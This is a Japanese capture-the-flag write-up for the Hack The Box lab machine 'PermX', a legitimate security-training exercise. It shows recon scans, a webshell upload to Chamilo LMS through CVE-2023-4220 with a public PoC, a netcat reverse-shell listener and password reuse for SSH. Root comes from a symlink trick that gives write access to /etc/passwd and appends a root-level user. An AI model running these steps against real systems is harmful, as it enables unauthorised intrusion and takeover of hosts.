【Hack The Box】PermX【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___PermX___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.23 --top    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.23:22
Open 10.10.11.23:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 01:34 EDT
Initiating Ping Scan at 01:34
Scanning 10.10.11.23 [4 ports]
Completed Ping Scan at 01:34, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:34
Completed Parallel DNS resolution of 1 host. at 01:34, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:34
Scanning 10.10.11.23 [2 ports]
Discovered open port 22/tcp on 10.10.11.23
Discovered open port 80/tcp on 10.10.11.23
Completed SYN Stealth Scan at 01:34, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.23
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2024-07-15 01:34:35 EDT for 1s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
           Raw packets sent: 6 (240B) | Rcvd: 8 (316B)
```
22と80番Portが公開されている。
## サイト探索
80番にアクセスすると`permx.htb`が見えないといわれるので`/etc/hosts`に以下の設定を投入する。
```
10.10.11.23    permx.htb
```
設定後にアクセスすると以下のサイトがみえる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/33d20506-3cce-f953-b3a9-af5a04ef8193.png)
### サブドメイン探索
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://permx.htb/ -H "HOST: FUZZ.permx.htb" -mc all -fc 302 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response status: 302
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 210ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 241ms]
*                       [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 208ms]
:: Progress: [100000/100000] :: Job [1/1] :: 706 req/sec :: Duration: [0:02:33] :: Errors: 0 ::
```
見つけたので、これも`/etc/hosts`に登録します。
```bash
10.10.11.23    permx.htb lms.permx.htb www.permx.htb
```
### ディレクトリ探索
とりあえず`dirsearch`します。サブドメインがあるならこっちに穴がありそうなのでこちらを列挙します。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://lms.permx.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/work/reports/http_lms.permx.htb/__24-07-15_01-42-26.txt

Target: http://lms.permx.htb/

[01:42:26] Starting: 
[01:42:30] 200 -   46B  - /.bowerrc
[01:42:30] 200 -    2KB - /.codeclimate.yml
[01:42:34] 403 -  278B  - /.ht_wsr.txt
[01:42:34] 403 -  278B  - /.htaccess.bak1
[01:42:34] 403 -  278B  - /.htaccess.orig
[01:42:34] 403 -  278B  - /.htaccess.sample
[01:42:34] 403 -  278B  - /.htaccess.save
[01:42:34] 403 -  278B  - /.htaccess_orig
[01:42:34] 403 -  278B  - /.htaccess_extra
[01:42:34] 403 -  278B  - /.htaccessOLD2
[01:42:34] 403 -  278B  - /.htaccess_sc
[01:42:34] 403 -  278B  - /.htaccessOLD
[01:42:34] 403 -  278B  - /.htaccessBAK
[01:42:34] 403 -  278B  - /.htm
[01:42:34] 403 -  278B  - /.html
[01:42:34] 403 -  278B  - /.htpasswd_test
[01:42:34] 403 -  278B  - /.htpasswds
[01:42:34] 403 -  278B  - /.httr-oauth
[01:42:37] 403 -  278B  - /.php
[01:42:38] 200 -    3KB - /.scrutinizer.yml
[01:42:40] 200 -    4KB - /.travis.yml
[01:43:04] 301 -  312B  - /app  ->  http://lms.permx.htb/app/
[01:43:04] 200 -  708B  - /app/
[01:43:04] 200 -  540B  - /app/cache/
[01:43:04] 200 -  407B  - /app/logs/
[01:43:05] 200 -  101KB - /app/bootstrap.php.cache
[01:43:08] 301 -  312B  - /bin  ->  http://lms.permx.htb/bin/
[01:43:08] 200 -  455B  - /bin/
[01:43:09] 200 -    1KB - /bower.json
[01:43:14] 200 -    7KB - /composer.json
[01:43:15] 200 -  587KB - /composer.lock
[01:43:16] 200 -    5KB - /CONTRIBUTING.md
[01:43:21] 301 -  322B  - /documentation  ->  http://lms.permx.htb/documentation/
[01:43:21] 200 -    1KB - /documentation/
[01:43:25] 200 -    2KB - /favicon.ico
[01:43:34] 200 -    4KB - /index.php
[01:43:34] 200 -    4KB - /index.php/login/
[01:43:38] 200 -  842B  - /license.txt
[01:43:38] 200 -   34KB - /LICENSE
[01:43:41] 301 -  313B  - /main  ->  http://lms.permx.htb/main/
[01:43:41] 200 -   97B  - /main/
[01:43:59] 200 -    8KB - /README.md
[01:44:00] 200 -  403B  - /robots.txt
[01:44:05] 403 -  278B  - /server-status
[01:44:05] 403 -  278B  - /server-status/
[01:44:10] 200 -  444B  - /src/
[01:44:10] 301 -  312B  - /src  ->  http://lms.permx.htb/src/
[01:44:18] 302 -    0B  - /user.php  ->  whoisonline.php
[01:44:20] 200 -    0B  - /vendor/autoload.php
[01:44:20] 200 -    0B  - /vendor/composer/autoload_files.php
[01:44:20] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[01:44:20] 200 -    0B  - /vendor/composer/autoload_psr4.php
[01:44:20] 200 -    1KB - /vendor/
[01:44:21] 200 -    0B  - /vendor/composer/autoload_classmap.php
[01:44:21] 200 -    0B  - /vendor/composer/autoload_real.php
[01:44:21] 200 -    0B  - /vendor/composer/ClassLoader.php
[01:44:21] 200 -    0B  - /vendor/composer/autoload_static.php
[01:44:21] 200 -    1KB - /vendor/composer/LICENSE
[01:44:22] 200 -  531KB - /vendor/composer/installed.json
[01:44:24] 200 -    6KB - /web.config
[01:44:24] 200 -  480B  - /web/

Task Completed
```
色々見えますね。
### ブラウジング
アクセスすると以下のようなサイトが見えます。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4b28678c-f8c2-0d3f-d8e2-7ef4d82c67e6.png)
`/app/`配下には様々なコンフィグファイルが見えて列挙後の情報収集が少し大変ですが、すべての`yml`ファイルを取得したら以下のコマンドでクレデンシャルっぽい記述がないか探してみたらいいと思います。
```bash
┌──(root㉿kali)-[~/work]
└─# grep -i -r passw
```
これでも特段いい情報はありませんでした。

# イニシャルアクセス
## CVE-2023-4220
`documentation`のディレクトリ階層を表示してみると以下のようにVersion情報が見えます。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7bcbb2c5-2c92-ad52-44d0-13dbd5dc2f1b.png)
この`1.11`の情報から探ると以下の脆弱性情報がヒットしました。

https://pentest-tools.com/vulnerabilities-exploits/chamilo-lms-11124-remote-code-execution_22949

認証なしでRCEできるみたいなのでこれを利用します。
以下のリポジトリからコードを落としてきます。

https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc

Webshellをとりあえず以下のコマンドでアップロードします。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 main.py -u http://lms.permx.htb/ -a webshell
```
WebShellのアップロード先がToolの出力でわかるので、ここにアクセスしてみます。
`ping`を打ってみます。待ち受けは以下のようにして待ちましょう。
```bash
┌──(root㉿kali)-[~/work]
└─# tcpdump -i tun0 icmp
```
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9f8afed8-dac0-83c6-4853-22c85db3f868.png)
帰ってきてることがわかりました。これでリバースシェルを張れそうですね。

## RevShell
いつものこのサイトを利用します。

https://www.revshells.com/

Pythonのリバースシェルを使います。待ち受けは以下のようにしておきます。
```bash
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
```
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/400a7ecb-dee7-5978-0ffa-0a3a23639b64.png)
張れました。
## interactiveshell
タブキーや矢印を効かせたいので以下コマンドでShellを安定させます。
```bash
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lnvp 4444      
listening on [any] 4444 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.23] 58138
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/Downloads]
└─# stty raw -echo; fg
[1]  + continued  nc -lnvp 4444
<c/lib/javascript/bigupload/files$ export TERM=xterm                     
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ export SHELL=/bin/bash
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ reset
```

# 横展開
## mysql enumration
このShellの権限ではUserフラグは見えないので別のUserに移動する必要があります。
とりあえずこのwebアプリのクレデンシャルを洗っていたら`configuration.php`に`db`のパスワードがありました。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ee81d616-31ca-0081-26cf-e4973b7b0ffc.png)
とりあえずこれでDBへ接続してみます。
```bash
www-data@permx:/var/www/chamilo/app/config$ mysql -h localhost -u chamilo -p
```
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1019feca-0302-7989-1c11-2080eb5486c2.png)
`user`情報を列挙してみましたが`salt`があり、パスワードの復元は難しそうでした。
ラビットホールですね。
## ssh
じゃ、このdbのクレデンシャル情報をそのままUserのSSHアクセス時に利用してみます。
Userにどんなのいるかを確認しときます。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1c560999-5650-ccfb-961b-bc4febdce966.png)
この`mtz`さんでSSHしてみます。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1ff6eb3b-b2ee-54e3-268a-a24babfe8e31.png)
いけました。これでUserフラグゲットです！

# 権限昇格
## sudo -l
とりあえずsudoできるのみます。
```bash
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ 
```
ほう、このシェルの中身を確認します。
```bash
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
mtz@permx:~$ 
```
`setfacl`を打ってますな。んでどのファイルかは`if`で制限してそう。
`home`の自分階層に絞ってますね。
## exploit
じゃ、シンボリックリンクで別の階層に飛ばすようにしてあげます。
`/etc/passwd`とかの階層に飛ばしてWrite権限を付与させます。
```bash
mtz@permx:~$ ln -s /etc/passwd pass
mtz@permx:~$ ll
total 1400
drwxr-x---  5 mtz  mtz     4096 Jul 14 07:04 ./
drwxr-xr-x  3 root root    4096 Jan 20 18:10 ../
-rwxrwxr-x+ 1 mtz  mtz  1396520 Jul 14 06:44 bash*
lrwxrwxrwx  1 root root       9 Jan 20 18:12 .bash_history -> /dev/null
-rw-r--r--  1 mtz  mtz      220 Jan  6  2022 .bash_logout
-rw-r--r--  1 mtz  mtz     3771 Jan  6  2022 .bashrc
drwx------  2 mtz  mtz     4096 May 31 11:14 .cache/
drwxrwxr-x  3 mtz  mtz     4096 Jul 14 05:02 .local/
lrwxrwxrwx  1 root root       9 Jan 20 18:37 .mysql_history -> /dev/null
lrwxrwxrwx  1 mtz  mtz       11 Jul 14 07:04 pass -> /etc/passwd
-rw-r--r--  1 mtz  mtz      807 Jan  6  2022 .profile
drwx------  2 mtz  mtz     4096 Jan 20 18:10 .ssh/
-rw-r-----  1 root mtz       33 Jul 14 04:59 user.txt
mtz@permx:~$ 
mtz@permx:~$ sudo /opt/acl.sh mtz 7 /home/mtz/pass
```
これで付与できたはずなので確認します。
```bash
mtz@permx:~$ ls -lta /etc/passwd
-rw-rwxr--+ 1 root root 1880 Jul 14 07:03 /etc/passwd
mtz@permx:~$ 
```
イケてそう。
この`/etc/passwd`にRoot権限のUserを作成します。
```bash
mtz@permx:~$ openssl passwd pass123
$1$iHQiIyto$D/.8L0KjJrGZRgrE62Dfj0
mtz@permx:~$ 
mtz@permx:~$ echo 'root2:$1$iHQiIyto$D/.8L0KjJrGZRgrE62Dfj0:0:0:root:/root:/bin/bash' >> /etc/passwd
```
`su`でrootとしてアクセスできるか確認します。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c7dae325-5987-0849-c047-729766b56f79.png)
いけました！！！これでRoot権限ゲットです。

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/465f888a-2e9e-1605-661e-e724d56e8acb.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはEasyらしいEasyだったかなと思います。特段目新しいことはしてません。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。